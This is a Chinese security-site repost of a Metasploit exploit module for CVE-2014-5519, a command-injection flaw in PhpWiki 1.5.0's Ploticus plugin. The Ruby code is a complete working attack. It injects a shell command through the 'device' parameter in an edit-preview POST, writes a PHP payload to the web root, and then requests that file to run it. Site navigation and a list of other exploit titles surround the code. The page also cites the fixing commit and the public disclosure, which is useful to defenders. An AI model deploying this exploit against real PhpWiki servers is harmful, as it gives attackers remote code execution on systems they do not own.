首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Phpwiki Ploticus Remote Code Execution
来源:metasploit.com 作者:Harris 发布时间:2014-09-17  
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Phpwiki Ploticus Remote Code Execution',
      'Description'    => %q{
        The Ploticus module in PhpWiki 1.5.0 allows remote attackers to execute arbitrary
        code via command injection.
      },
      'Author'         =>
        [
          'Benjamin Harris',              # Discovery and POC
          'us3r777 <us3r777[at]n0b0.so>'  # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2014-5519' ],
          [ 'OSVDB', '110576' ],
          [ 'EDB', '34451'],
          [ 'URL', 'https://sourceforge.net/p/phpwiki/code/8974/?page=1' ], # This commit prevents exploitation
          [ 'URL', 'http://seclists.org/fulldisclosure/2014/Aug/77' ] # The day the vuln went public
        ],
      'Payload'	       =>
        {
          'BadChars'   => "\x00",
        },
      'Platform'       => 'php',
      'Arch'		       => ARCH_PHP,
      'Targets'        =>
        [
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Sep 11 2014'))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The full URI path to phpwiki', '/phpwiki']) ,
      ], self.class)
  end

  def exploit
    uri =  target_uri.path

    payload_name = "#{rand_text_alpha(8)}.php"
    php_payload = get_write_exec_payload(:unlink_self=>true)

    res = send_request_cgi({
      'uri'      => normalize_uri(uri + '/index.php/HeIp'),
      'method'    => 'POST',
      'vars_post' =>
      {
        'pagename'      => 'HeIp',
        'edit[content]' => "<<Ploticus device=\";echo '#{php_payload}' > #{payload_name};\" -prefab= -csmap= data= alt= help= >>",
        'edit[preview]' => 'Preview',
        'action'        => 'edit'
      }
    })

    if not res or res.code != 200
      fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
    end

    upload_uri = normalize_uri(uri + "/" + payload_name)
    print_status("#{peer} - Executing payload #{payload_name}")
    send_request_raw({
      'uri'    => upload_uri,
      'method' => 'GET'
    })
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·WordPress Slideshow Gallery 1.
·ZTE ZXDSL-931VII Unauthenticat
·ALCASAR <= 2.8.1 - Remote Root
·seafile-server 3.1.5 Denial Of
·HttpFileServer 2.3.x Remote Co
·Oracle MyOracle Filter Bypass
·Rooted SSH/SFTP Daemon Default
·Seafile-server <= 3.1.5 - Remo
·Railo 4.2.1 Remote File Inclus
·GetSimpleCMS PHP File Upload
·ManageEngine Eventlog Analyzer
·Joomla Mac Gallery <= 1.5 Arbi
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved